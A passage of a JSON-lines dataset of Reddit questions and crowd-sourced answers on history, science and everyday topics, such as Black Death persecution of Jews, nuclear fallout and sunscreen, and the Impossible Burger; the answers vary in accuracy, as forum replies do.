of Congress.  If 2/3 of both houses of Congress pass such legislation then that's it.  If they don't then the border wall goes forward.  \n\nSo there isn't really a \"looming showdown\" - there might be another budget impasse at the end of this year, but Congress and the President just reached a budget deal despite both sides knowing full well that this emergency declaration would come soon after.  That means that the current declaration was something that was negotiated and baked into the current budget. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "84uimf", "title": "I've read that in many places Jewish enclaves suffered less severely during the Black Death due to superior hygiene practices (only to be blamed and persecuted due to their comparative immunity). Was this a documented effect? At what point was it retroactively understood?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/84uimf/ive_read_that_in_many_places_jewish_enclaves/", "answers": {"a_id": ["dvwr73j"], "score": [2], "text": ["I have seen this assertion made several times (by Anna Foa in \"The Jews of Europe after the Black Death,\" by Pasachoff and Littman in \"A Concise History of the Jewish People,\" and elsewhere as well, I believe). But it confuses me, as there is no documentation that I know of of the numbers of Jews who died from the Black Death, and there is no reason to believe that fewer Jews (proportionally) did in fact die from the Black Death than did Christians. That assertion was made by Christians as a justification for the persecution of Jews, as they were used as a scapegoat for the plague due to their alien status. Several Jews are recorded as having been captured and tortured into confessions of having poisoned wells, and this was then used as justification for the murders of thousands of Jews throughout France and Germany in the years 1348-1351. After all, even the Christians never claimed that NO Jews died, something which would have been perhaps an indication of some kind of Jewish poisoning conspiracy (surely the Jews would be warned not to drink the water from these poisoned wells). They generally claimed that half the number of Jews died than did Christians- and there are no official statistics to back this up.        \nThese hygiene practices are, in basically all cases, post facto justifications for why more Jews may have survived. They are reasonable- hand washing and burial of the dead, for example, are both pretty significant Jewish practices which could potentially protect Jews from disease- but there is no documentation of this effect whatsoever. It is simply a hypothesis, if indeed fewer Jews did die.     \nIt's actually quite possible (given the tiny Jewish population in Europe at the time) that more Jews died of the ensuing pogroms than of the plague, but essentially the Jewish communities of northern France and especially Germany were wiped out. For example, the Jewish community of Strasbourg was looted and burnt alive. By the end of this period, the Jews of France and Germany were either dead (of either the plague or pogroms) or began to move eastward toward Poland- a very significant development which led to the growth of the Eastern European Jewish community."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cv5wi9", "title": "we read in science notebooks about atoms, their mass, energy and other properties such as forces acting on them. many times we take a single atom in consideration. i wanted to know if there is any practical way to isolate a single atom since they are so small?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cv5wi9/eli5_we_read_in_science_notebooks_about_atoms/", "answers": {"a_id": ["ey23l1n", "ey25vzc", "ey2b28h", "ey36nwj"], "score": [3, 14, 3, 2], "text": ["There have been a few experiments where they managed to trap single atom in a magnetic field (and even take a \"picture\" of it) but the point of learning to compute the force on one atom is because the theory stay the same as you scale up with more atom. You have a few factor of scale and you may need to integrate but basically its the same.", "Yes, we definitely can do this. \n\nIn 1989, [some scientists](_URL_0_) placed individual atoms on a gold sheet to spell out the letters \"IBM\". \n\nMore recently, scientists have been able to trap a single atom floating in air using electromagnetic fields and laser beams. \n\n\nMass Spectrometers can potentially sort individual atoms and count them.", "Look up optical lattice. Scientists make a 3D checker board pattern with light and single atoms get stuck in the black squares.", "It's very common. If you cool down atoms you can trap individuals in a magnetic field. In practice, a lot of experiments that study single atom behavior actually use a gas of many atoms, but they are spread out enough that the experiment is only testing the properties of them as individuals."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/IBM_\\(atoms\\)"], [], []]}
{"q_id": "f7qsaf", "title": "why is drinking alcohol common in some buddhist countries?", "selftext": "One of the precepts of Buddhism is to refrain from intoxicants like alcohol and drugs, yet South Korea ranks #1 in hard liquor consumption, Japan has a corporate culture that encourages employees to go drinking with their boss after work, and Thailand produces many beer brands like Changa and Singha. Where do these contradictions come from?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/f7qsaf/eli5_why_is_drinking_alcohol_common_in_some/", "answers": {"a_id": ["fidh63o", "fidomov", "fiexhee"], "score": [9, 6, 2], "text": ["The historical evidence of humankind's inconsistency between the tenets of their religion and their actions are many. I believe current archeological evidence suggests that humans were imbibing in alcohol FAR BEFORE the advent of any modern religion. So it might be better to ask - why does religion try to forbid customs and practices that predate it by thousands of years? \n\nReligions tend to be (not always) based on myth based teachings. Human activity is \"real\" and objectively happening. So why elevate the mystical above the actual?", " >  One of the precepts of Buddhism is to refrain from intoxicants like alcohol and drugs      \n\nI believe you're mistaken.  One of the tenets of Buddhism is moderation.  The medium between abstinence and indulgence.", "Also, small correction to your examples.  South Korea is a majority non-religiously affiliated country.  The largest religious group is Protestant Christianity (20% of South Koreans).  Buddhists make up roughly 15%, and Catholics about 8%, so there are almost twice as many Christians in South Korea as Buddhists."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1fqk09", "title": "I have a question about this composite image of the sun.", "selftext": "This was [posted](_URL_0_) in /r/spaceporn by /u/Phantomsmedia \n\nMyself and several others were curious about the \"bands\" that run along the top and bottom sections of the sun. What exactly causes the grouping of activity that we see here?  \n\nAlso, assuming that earths orbit gives us an \"up and down\" as far as our solar system goes, is this image \"right side up\" from our perspective? As in, if I am in space looking at the earth and it is in it's familiar (to me) North/South alignment, if I looked over at the sun from the same spot, is this the orientation of the sun that I would see?\n\nMore questions about what that orientation means depending on the answers. \n\nThanks guys!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1fqk09/i_have_a_question_about_this_composite_image_of/", "answers": {"a_id": ["cact3mw"], "score": [16], "text": ["I actually was just at a seminar on solar physics yesterday where this was discussed. Those bands run parallel to the solar equator and have to do with the solar magnetic field. Those are the places where the field lines emerge to the 'surface' and are thus the regions where most sunspots originate. This is due to the way in which the magnetic field becomes tangled due to the different rotational rates between the sun's equator and its poles.\n\nTo clarify, yes, that is roughly what you would see from Earth as the Sun's rotation axis is roughly at the plane of the ecliptic.\n\nAlthough I can't formally cite this, this came from a talk given by Professor Forbes in the Summer 2013 Seminar Series at the Space Science Center at the University of New Hampshire.\n\nEDIT: [Here's](_URL_0_) a picture closer to the visible spectrum where you can see where the sunspots are."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/spaceporn/comments/1fpzzc/a_year_of_our_sun_in_one_picture_900x780/"], "answers_urls": [["http://apod.nasa.gov/apod/image/9910/sunspots_mdi_big.gif"]]}
{"q_id": "2max40", "title": "what exactly is going on in mexico right now in terms of the missing/murdered students? and why were they killed? what for?", "selftext": "I'm not the most knowledgeable on world affairs but there's a lot of stories on this buzzing around the UK right now and I'm confused. All articles I've read assume previous knowledge and I haven't a clue...", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2max40/eli5_what_exactly_is_going_on_in_mexico_right_now/", "answers": {"a_id": ["cm2k0ng", "cm2l4sb", "cm2pc2e", "cm2ptvh", "cm2qcsz", "cm2zpf8"], "score": [63, 1683, 7, 34, 153, 5], "text": ["The students were on their way to protest some politician that was trying to get elected. He told some corrupt police that were under his influence to arrest the students. After arresting them, the students were turned over to a drug gang and the drug gang was told that they were from a rilval drug gang - the drug gang that had the students then killed them. ", "The students were studying to be teachers at a rural school that is known for protesting the corrupt actions of the local politicians. The mayor's wife was scheduled to give a speech on her accomplishments on September 26th and the mayor was advised that the students were on their way to protest the event. \nThey were protesting discrimination regarding funding for rural schools. The mayor was not cool with students messing up his wife's self-congratulatory speech so he sent the cops, which intercepted the students that were on their way to the event. A shooting ensued, resulting in 6 dead (one of them with flayed skin and gouged eyes) and about 25 wounded. The cops then detained 43 male students and according to their later confessions, the mayor ordered them to hand the students over to a local drug gang (Guerreros Unidos). The gang members confessed to killing, burning, and throwing the students' remains into a river. It is common knowledge that the mayor, and more specifically his wife, had ties to this gang. The mayor was paid millions of pesos to bribe the officers so that they could assist with the gang's illicit activities. They eluded capture for a few days, along with the police chief. The mayor and wife have now been arrested and are awaiting prosecution. With the extreme confidence I have in Guerrero's judicial system, the mayor and his wife will rot in prison. Ok, I'm actually being sarcastic. They'll probably bribe their way out. ", "The governor/mayor of the region was gonna have like a big event. She and her husband learned these kids might show up and protest. They had the kids arrested, the cops took them away, then handed them over to one of the drug gangs. The drug gang locked them in a semi truck, burned and dismembered them.", "Mexican here, I live in the very peaceful border town known as Cd. Juarez.  At the risk of sounding mean, we as mexicans get what we deserve. That president that we are all trying to get to quit is the same one we democratically elected not too long ago. It seems we don't have any memory, we sold our votes for a coke and a \"torta\" and we didn't care then. Now, when the sh@t has hit the fan we feel sorry for ourselves and try to get the rest of the world to feel for us? Bullsh*t. We are entitled people that think everything is owed to us but we do not want to put the hours in. We don't read and we have forgotten how to think, that is why the big tv networks think for us. We have images of death on our cigarrettes but no images of child obesity on our potato chips. Most, not all but most, people that start school to become teachers do it thinking of the few hours a day they will work, they don't care about education anymore, teachers now are some of the laziest individuals.\n\nSo don't feel bad for us, after this weekend's soccer games we will have forgotten all about the students and concentrate on our soaps again.", "/u/sef1987 did a good job explaining the incident, but I'll try to explain the general situation and the consequences of this event. \nIn order to do that, I have to explain a few things:\n\nHere in Mexico, we have been governed for more than 7 decades by the PRI (Institutional Revolutionary Party) from 1928 until 2000. We've been through a lot of severe crises and devaluations thanks to them, their laws and their corruption. \nSince the late 60's and early 70's, the government has been known for manipulating and censoring any and all information against it with the help from a widespread of television media in the nation.\nUnfortunately, a whole generation has been raised with the idea of following whatever the television is dictating and don't ask any questions about it. Sound familiar?\n\nAgain, sef1987 explained the situation pretty well. Except, there are some things in the confessions of the gang members that don't add up.\nThe confessions were released at a press conference as an official statement from the Attorney General Of The Republic. According to his version, the bodies of the 43 students were incinerated in a landfill using tires and wood as fuel. \nSupposedly, no one noticed the smell nor saw the smoke. \nEverybody knows how difficult it is to incinerate a body.\nAbove this all it is suspected that it rained that night. Which brings us to the question: how could they have kept the fire going? \n\nThis version of course was not accepted by the parents so they continued their protests around the country, demanding the government for real answers not just a case closure.   \nPresident Enrique Pe\u00f1a Nieto met with the parents and offered them 100,000 pesos (around 7,500 american dollars) per student to keep them quiet and have them stop protesting. They obviously didn't take it. \nThat same night after the official statement by the attorney general, at a protest in Mexico City, the door of the National Palace was set on fire. \nSome photos show that the police left the door a few minutes before some \"masked civilians\" set the door on fire. Soon afterwards, the police captured random civilians in the streets around the place and held them responsible for the door incident. \nThe media focused on that incident instead of all the protests around the country demanding President Enrique Pe\u00f1a Nieto to resign. All that rises the possibility that the government sent the masked civilians to set the door on fire to de-legitimize the movement against it. \n\nThe students incident, along with some new information of a 7 million dollar house \"donated\" to the president's wife by a company that \"surprisingly\" stopped the construction of a high-speed train has made the government lose a lot of credibility. \n\nThese have been only some of the examples of why people have been protesting in the streets. We want to spread the word about what's really happening and not let the media keep manipulating the information sent off to the general population and everyone else around the world. \n\n\nTL;DR: Government in Mexico is basically a dictatorship. A large amount of the Mexican population have started a sort-of revolution. Don't help them censor us! Spread the word!\n\nEdit: Missed a zero", "That is so unbelievably fucked. You couldn't pay me enough money to set foot in Mexico. I've seen enough cartel videos to stay away forever. I feel for the innocent people there just trying to live their lives. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "6n7g1s", "title": "If matter can neither be created nor destroyed, does this mean that every subatomic particle that comprises our bodies was around since the beginning of time? (Protons, neutrons, electrons, quarks, etc)", "selftext": "Furthermore, is it fair to say that these same subatomic particles could have been part of a previous human, animal, or environmental object (tree, dirt, etc.)?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6n7g1s/if_matter_can_neither_be_created_nor_destroyed/", "answers": {"a_id": ["dk7fq6w", "dk7i2ka", "dk7ilxn", "dk7p5ge", "dk8jttz"], "score": [51, 4, 6, 8, 3], "text": ["Where do you get the idea from that matter cannot be destroyed? This is not true. Total Energy is conserved, but that still allows me to change energy into particles and vice versa, creating new ones along the way. A few simple examples:\n\nAnnihilation: An electron and a positron annihilate to produce two gamma rays.\n\nBeta decay: neutron - >  proton + electron + antineutrino\n\nBinding: 2 H_2 + O_2 - >  2 H_2 O + binding energy released\n\nSo no, your assumption is wrong. These processes happen all the time naturally, e.g. via cosmic radiation.", " > If matter can neither be created nor destroyed,\n\nThere is conservation of energy, there is no such thing as conservation of mass, things like nuclear reactors wouldn't work if this were the case.", "So people already answered about matter being created/destroyed. \nThis is even how carbon 14 datation works : Carbon 14 is constantly created in the upper atmosphere by interaction with cosmic rays and has a  lifetime long and short enough to be usable for datation of historical objects build from living tissues (so they consumed the carbon available including a given fraction of carbon 14) \n\nTo be a bit more precise \n- Big bang created light elements : mainly Hydrogen a few Helium and a little bit of Lithium \n- Stars created common element, including Carbon, Nitrogen, Oxygen \n- Heavy elements are created in supernovae and other spectacular astrophysical events. \n- Some light elements like He are constantly created on earth via radioactive decay of heavy atom. \n\nIn normal conditions stable atom will stay here for a while, so yes most of the atoms in your body have been created in a supernova and have been around for some time so they have been part of some other living being that's even how they ended up in your body (you ate them). ", " > Is it fair to say these particles have been part of previous animals?\n\nAs far as atoms go, the Big Bang mostly lead to hydrogen and a little helium. Pretty much everything heavier was made by fusion in stars. So while everyone is correct here in explaining that atoms can be created and destroyed by natural processes, the majority of atoms have indeed been in other living things. Xkcd \"what if\" addresses this topic in [How much of the Earth's currently-existing water has ever been turned into a soft drink at some point in its history?](_URL_0_) Mr. Monroe concludes \"chances are that most of the water in your soda has never been in another soda, [but] almost all of it has been drunk by at least one dinosaur.\"", "Conservation of Mass is more of a rule of thumb used for common, macroscopic physical processes than a proper law of physics. That said, it is broadly true that the atoms that make up our bodies have been around since the Solar System was formed, and many will have been part of other life forms or environmental objects at some point.\n\nThat's not the beginning of time, though. Those atoms were all formed by other, previous stars and supernova of stars, which spewed them out into our galaxy, where they ended up in the gas cloud that collapsed to form our Sun and Solar System.\n\nMy knowledge doesn't extend to the current consensus on what the history of the subatomic particles is though. I believe it would depend on what the exact nuclear process that formed each of the elements was. Suffice it to say that subatomic particles, in addition to atoms, can absolutely be created and destroyed at the energy levels found in the cores of stars."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://what-if.xkcd.com/74/"], []]}
{"q_id": "d1z4es", "title": "what makes the impossible burger taste like meat? is it healthier to eat vegetables that have been manufactured to taste like meat?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/d1z4es/eli5_what_makes_the_impossible_burger_taste_like/", "answers": {"a_id": ["ezrewhu", "ezsjmhc", "ezsq2r1", "ezte7pw"], "score": [60, 4, 2, 2], "text": ["What Impossible Foods did that was clever is they experimented on which elements of beef gave it the flavor we associate with hamburger, and they sought out plants that had the same or similar elements.  So they figured out things like heme (part of hemoglobin, and what gives blood its red color) is very common in animal muscle, and contributes to it's taste, but it is also found in certain bean plants (beans have long been used as a meat substitute).  By identify multiple different elements such as this they built had the building block flavors to emulate meat without needing meat.  They also worked very hard on their texture, to make it's mouth feel as similar to a burger patty as possible.  All this research has lead to a plant based foodstuff that is fairly close to a beef patty.\n\nAn impossible burger isn't going to be meat eating celery for lunch.  It still has a decent amount of fat and calories in it.  It's more like a turkey burger than anything else.  Healthier, but not healthy exactly.  But it does allow people with religious, ethical, and some dietary restrictions on eating meat to enjoy something pretty close to the real thing.", "A big part of why it tastes like meat is that impossible burgers are basically just a giant glob of coconut oil fat with additions for texture, flavour and colour.\n\nThey're not trying to create a healthy meat alternative. They're just trying to approximate meat without the meat.\n\nSo yeah, it's protein comes from peas but I wouldn't look at an impossible burger as vegetables processed to taste like meat. It's more like Nutella. A big glob of fat with additions to meet requirements like taste, texture and protein.", "Here's to clear up the misinformation:\n\n\"The protein in an Impossible Burger isn't animal flesh; rather, it's a blend of soy and potato proteins. This is different from the Impossible Burger 1.0, which used wheat protein (Impossible Burger 2.0 is gluten-free). Soy has had a bad reputation with some, but Impossible's vice president of nutrition has some thoughts about common soy myths.\n\n\nThe juicy sizzle when an Impossible Burger hits the pan or grill comes from coconut and sunflower oils, the burger's fat sources. To hold everything together, Impossible Foods uses methylcellulose, a bulk-forming binder that also serves as a great source of fiber.\n\n\nAs for flavor, well, this is where things get interesting. **Impossible Foods employs heme as the main flavor compound in its burger. Heme is an iron-containing compound found in all living organisms. Plants, animals, bacteria, fungi... if it's alive, it contains heme.**\"\n\n[Impossible Burger 2.0: How does it taste, is it safe and where can you get it?](_URL_0_)\n\nIt'll always be healthier to eat unprocessed fresh produce compared to processed food. You get maximum nutrient intake. In reality though, you'd have to compare how much of your diet is processed and unhealthy vs. fresh to see if it's worthwhile to eat these on a regular basis. If you eat a lot of empty calories, this should benefit you.", "I read that the impossible burger isn't necessarily any healthier than meat, it's just bad for you in different ways. For example, one way they boost the flavor is by using more salt than they do in real meat."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.cnet.com/how-to/impossible-burger-everything-you-need-to-know/"], []]}
{"q_id": "3osrdo", "title": "When did people start wrapping gifts? How were gifts presented before wrapping?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3osrdo/when_did_people_start_wrapping_gifts_how_were/", "answers": {"a_id": ["cw0kyr6"], "score": [2], "text": ["Your question is difficult to answer mainly because the modern idea of giftgiving is fairly recent for the average person. The idea of taking precious things and wrapping them to avoid detection is old. Biblical references and classical references often talk about gifts of gold and jewelry on being put in boxes, but this is more of a method of transferral and hiding the true nature to about to avoid robbery. The creation of holidays such as Christmas attempts to re-create gifts given by the Magi thus often presents gifts in wrapping, like illustrations of the time. However, modern wrapping papers, outside gifts to royalty trickle down over time not unlike the luxury effect in cars. Nice features start and very expensive models and work their way down. Gifts to royalty were often presented an elaborate wrapping papers and presentations. In an attempt to appear more regal or noble the burgeoning middle class begins stripped down versions of the same wrappings."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4r2mb6", "title": "why do people find other people ugly", "selftext": "i was thinking like dude we shouldn't call people ugly cause not everybody thinks they're ugly. so like then i thought why are these people ugly to other people? why is ugly a thing? does the brain do something that interprets ugliness?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4r2mb6/eli5_why_do_people_find_other_people_ugly/", "answers": {"a_id": ["d4xs7ta", "d4xxywb"], "score": [2, 3], "text": ["Ugliness is closely related to signs of poor reproductive fitness. If someone is unattractive it is a good sign their children will not be as healthy or capable in some way.", "Attractiveness can basically be boiled down to two categories: biological attraction and cultural attraction. \n\nAs u/Squid10 stated, the biological signs of poor fitness often mean weaker genetic makeup which will lower chances of survival  &  chances of successful reproduction  (think a herd of antelopes but one is sick and fat). Other biological signs (like large breasts, wide hips, large muscles) can mean good reproductive ability and enhance attractiveness.\n\nThis all gets very muddled when culture comes into the mix though, since history and tradition play heavily into what people think is attractive. In poorer areas, a heavy-set person might be seen as the pinnacle of health and beauty, whereas a skinny person in the same area might be seen as weak and poor. Different cultures also portray different varieties of beauty through their media, which many believe is the main influence for standards of attractiveness.\n\nTL;DR: Attractiveness (or unattractiveness) is a combination of both biological and cultural standards."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8toi99", "title": "During a nuclear disaster, is it possible to increase your survival odds by applying sunscreen?", "selftext": "This is about exposure to radiation of course. (Not an atomic explosion) Since some types of sunscreen are capable of blocking uvrays, made me wonder if it would help against other radiation as well.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8toi99/during_a_nuclear_disaster_is_it_possible_to/", "answers": {"a_id": ["e191mps", "e1952ze", "e1988xv", "e19fwbp", "e19x4hk", "e1a27t4", "e1abdek", "e1anxi7", "e1aw4u7", "e1ax7ht", "e1azdzz", "e1aznd4"], "score": [11375, 277, 427, 250, 6, 6, 8, 7, 2, 2, 5, 2], "text": ["**Short answer:** Oh no. Oh God no. You're so dead. It's not even really the UV rays that do the damage.\n\n**Long answer:** The important thing to know up front about 'radiation' is that it's a bit of a catch all term, and many of the uses have almost nothing to do with each other. To 'radiate' just means to give off energy. Sometimes that energy is good- the sun is radiating electromagnetic radiation, like visible light and infrared and UV. Other times, nuclear fallout is radioactive and emits electrons and alpha particles, which are incredibly dangerous inside your body. So that's takeaway number one- there are different kinds of 'radiation' and it's a bit of an overused buzzword at this point. \n\n\nNow let's go back to your question. I'm going to give you two answers, one about atomic bombs and one about a reactor meltdown. Bombs first though, because that's more fun.\n\nNuclear explosions tend to kill in 3 ways, depending on your distance from ground zero. The first is the fireball itself. That's the central explosion part. If you're near that, you're incinerated. Full stop. Nothing except a bunker under meters and meters of concrete will save you.\n\nGoing farther out, the next things to kill are the overpressure and thermal radiation. Out here, the shockwave from the nuclear blast can rupture organs, but more likely it'll make a building fall on you. And similar to the fireball, the thermal radiation zone is *hot.* Like, imagine the sunrise on the horizon got bigger until it occupied 100x more of the sky than it used to, getting hotter and hotter until everything is on fire. That's what a nuclear bomb is like. Here, it's photons of all wavelengths that are impinging on you, burning you to a crisp. Sunscreen just filters some of the UV rays from the sun- it'll do nothing to stop you from cooking in this. \n\n\nLast, of course, is the nuclear radiation that you asked about. In fact, this part of the answer is the same for the bomb and for the meltdown, which is why I saved it for here. Nuclear fission, whether in a bomb or reactor, makes a lot of radioactive nuclei which will decay and emit electrons (beta) and high energy helium nuclei (alpha), which produce a lot of damage in biological tissues. Other sources of the 'radioactive' kind of radiation include spontaneous fission and neutron emission from other radioactive nuclei. After bombs and meltdowns this stuff spreads, and if you're inhaling this stuff in any considerably amount you're pretty much gonna die a horrible painful death. Sunscreen is a glorified Maginot line. \n\nAnd on a funny historical note, Edward Teller (physicist from the Manhattan project) actually brought sunscreen to his viewing of the first nuclear detonation, the Trinity test. Even in retrospect, that's pretty amusing. ", "Your best bet is a Potassium Iodine pill and then lay low for about two weeks until most of the radioactive isotopes have decayed to survivable levels. The KI pill will prevent bioaccumulation of radioactive iodine which will cause massive damage to your tissue from within. If possible create a positive pressure bubble around you using a fan, filter, plastic tarp, and duct tape to force clean air out and away rather than allowing dirty air to flow to you. Assuming you survived the initial blast of course.", "It\u2019ll be about as useful as bringing an umbrella to a fire fight.\n\nThere are five hazards outside of the fireball of death. Radiation; Alpha (free helium), Beta (free electrons), and Gamma (high energy photons), and Neutrons (high kinetic energy). Those four will burn you similar to a sun burn.\n\nThe fifth and least discussed, and absolutely most dangerous, are the radioactive daughter products. The high mass fuel splits in halves, and those halves are the daughters. That can be samarium, Xenon, lead, thorium, iodine, cobalt, whatever. It comes off as a light dust (fall out). It continues to be radioactive and releasing the 4 types of radiation above. It\u2019s that crap you can breath in, or it gets on your clothes, or on top of the soil, etc. \n\nSunblock will help with photons at the UV energy level, but that\u2019s it. Everything else will burn you, or get inside you and burn you. And the daughter products will continuously burn...\n\nSunblock will only help to make you sticky.", "Something people haven't mentioned yet is that if you were outside, when you go inside, you'll want to ditch your clothes ASAP and take a shower immediately. Thus is to wash off any of the radioactive dust that may have accumulated on your skin and clothes. Wash or dispose of the aforementioned clothes. Do not use conditioner when you shower, it can cause your hair to lock in the radioactive dust. This will prove more useful than sunscreen.", "No. Sunscreen is a chemical mixture containing a variety of active ingredients that absorb a fairly broad range of ultraviolet frequencies due to physical interactions with the UV-blocking molecule and the quantized bits of energy (photons) hitting the surface of said molecule's atoms and bonds. This absorption process turns a large majority of the ultraviolet radiation into less harmful, lower energy radiation like infrared (heat energy). \n\nIn the case of a nuclear disaster, a different and very special type of radiation is emitted as a result of runaway nuclear fission. This is called ionizing radiation, and includes a few things. Two of them are a part of the higher-energy end of the electromagnetic spectrum (most x-rays and gamma rays) and the other three are actual nuclear particles emitted from the nucleus of a radioactive atom (called alpha, beta, and neutron emissions). Alpha is an electron emission and is easily blocked by a peice of paper or the top (dead) layer of your skin, so there is no worry here. Gamma, beta, neutron and x-rays would all require much denser materials to stop their movement or absorb their energy, such as lead, concrete, heavy water (deuterium oxide), or even a combination of all three.\n\n", "UV radiation has almost zero penetration, which is why when you're in the sun too long it's just your outermost layer of skin that suffers DNA damage(and then dies) and not your whole body.\n\nSunscreen acts as a thin layer that shields you from the UV radiation, and reduces the amount of radiation that your skin absorbs.\n\nIonizing gamma radiation, which is one of the types released in the event of a fission reaction, will go right through most things, depending on their energy: Protecting against gamma radiation powerful enough to be an immediate threat requires several centimeters of lead.\n\nAnd that's the least of your concerns: The real danger here is the nuclear fallout: Radioactive isotopes are released into the environment, dust in the air, in the water, in the soil, and are then absorbed by your body, effectively giving you a constant radiation burn from the inside out.", "Just to add information that I was unable to find in the first 10 parent threads. \n\nPhoton interactions at 'ionizing radiation' (high) energy levels undergo interactions in a different manner than what we're used to observing daily. We see some of the effects (scattering, absorption, re-emission) with visible light but they are generally described by the thin lens equations. \n\nHigh energy photons follow interaction cross sections to describe the probabilities of interacting. Most of these interaction cross sections are highly correlated to atomic information as opposed to macroscopic information about the overall material. \n\nTypical high energy photon interactions (radiation/radiation damage) occurs primarily through one of three mechanisms, photoelectric effect, compton scattering and pair production. \n\n* The photoelectric effect (k) interaction cross section is highly dependent on initial photon energy (E) and material atomic number (Z^4). \n\n* Compton scattering depends somewhat on photon energy (E) and the relative atomic density or electron shell density of the target material (Z).\n\n* Pair production is highly dependent on the photon energy (E^2). The target almost does not matter. \n\nEach one of these interaction mechanisms is typically measured by \"what fraction of the original intensity is removed per path length\". A good rule of thumb for most photons is that 1/2\" of lead might remove 50% of the primary beam for most photon energies. \n\nIf sunscreen was made of lead.... ? ", "Radiation from those weapons comes in 3 types. Alpha (contaminated material from the blast like dirt), Beta (naturally moving radiation that can be stopped with a small amount of barrier like a thin wall or protective clothing) and Gamma which is also known by other names ( the only thing that stops it is thickness thickness thickness, think underground bunker). Others probably talk about the three types of blasts here so I won\u2019t and instead focus on the sunscreen. The answer is no. Have a good day. ", "Nuclear fallout is contamination which is radioactive material in particulate form where you dont want it. \n\nI will add this in considering radiation, think of it like a form of light. You know how a super bright flashlight will shine right through your finger tip or a piece of paper? Radiation is like that but it can be thousands times stronger so it can \"shine\" right through you. Some kinds will reflect off of walls. Different types of radiation have more energy to blast through you or even cement. Alpha can be blocked by paper but if ingested as a particle it can wreak havoc on your organs. ", "There's a true story told in the style of animation of a kid that survived near ground-zero of the attack on Hiroshima. I imagine there hasn't been a lot of testing of this but the real life person it was based on credits his survival of the initial blast with jumping behind a very thick concrete wall before the shockwave came, which he thinks protected him from not only the shockwave but also the first massive hit of radiation.\n\nI went looking for it, the name of the movie is Barefoot Gen", "Technically yes,\n\nIf you purchased - sufficient number of iso shipping containers full of sunscreen to construct a wall around the perimeter of your property then applied them to the outside of said property the containers full of sunscreen should provide sufficient material thickness to reduce incoming radiation.\n\nOTOH you\u2019ve just entirely surrounded your house with highly flammable materal so in a sufficiently close enough detonation you will be either crushed by the falling containers or burned alive in the ensuing sunscreen firestorm", "No. The electromagnetic radiation emitted during an atomic bomb detonation diminishes rapidly with distance. You would probably be killed by the pressure wave or heat if you were close enough to recieve a harmful dose of EMR. It's mostly gamma radiation too which will not be deterred by sunscreen.\n\nResidual radiation which is caused by decay of close affected materials and fission products. These decay at various rates and can last a while. So airborne products can pose a serious threat. Radiative decay will produce mostly beta radiation (electrons) or gamma radiation.\n\nBasically if you are close enough there are other things more likely to kill you, and even then, EMR products are mostly x-rays and gamma rays which aren't specifically blocked by sunscreen."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2hgl9s", "title": "how do lesbians have safe sex?", "selftext": "Sex ed taught us what we need to do to prevent STD but they seem to only be applicable to heterosexual and gay partners.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2hgl9s/eli5_how_do_lesbians_have_safe_sex/", "answers": {"a_id": ["cksg9ct", "cksn1d9", "cksupt2"], "score": [11, 2, 2], "text": ["Oral dam.\n\nSorry, the answer is that simple, and they should have mentioned that in Sex ed.\n\nMost STD transmission among lesbians is due to oral sex, and an oral dam is the product to help prevent bodily fluids from entering. Digital stimulation, so long as there are no open wounds, should not result in transmission. Scissoring, despite what you may have heard, isn't something that really happens all that often.", "Oral dams, condoms on sex toys, gloves if they are very worried. ", "It may interest you to know that women who have sex with women have the lowest transmission of STIs compared to any other group. According to my OBGYN. That being said you can cut up a condom so it creates a barrier for fluids during oral, use latex gloves for fingering and use condoms on toys. The most risk comes from fluid exchange via open cuts or sores because they lead right into your body."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "95knxp", "title": "whether there's a maximum temperature.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/95knxp/eli5_whether_theres_a_maximum_temperature/", "answers": {"a_id": ["e3tehne", "e3tei20", "e3tem18", "e3tm6oy"], "score": [19, 3, 8, 3], "text": ["There's a few theories surrounding absolute hot, very interesting _URL_0_\n\nThe most commonly known one is Planck temperature, of approx. 142 nonillion (10\u00b3\u00b2) Kelvin.\n\nI think Vsauce on YouTube also made a very interesting and easy to watch video about this subject.", "Planck temperature, which is 1.416785 x10^32 kelvin in theory since we've never hit it, beyond which point the rules of physics apparently breakdown and stop working.", "The concept you are asking about is called an absolute hot. Afaik it's not a proven thing but there are theories that state such a thing exists., and there is actually a temperature scale  (Planck) that defines the absolute zero as 0 and the absolute hot as 1.\n\nE: as  to why that is the maximum temperature: At that point the temperature (which is energy) becomes greater than other fundamental forces, after which quantum physics kick in and all predictions become iffy.", "If absolute zero is omni-stop, then is absolute hot omni-go? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.m.wikipedia.org/wiki/Absolute_hot"], 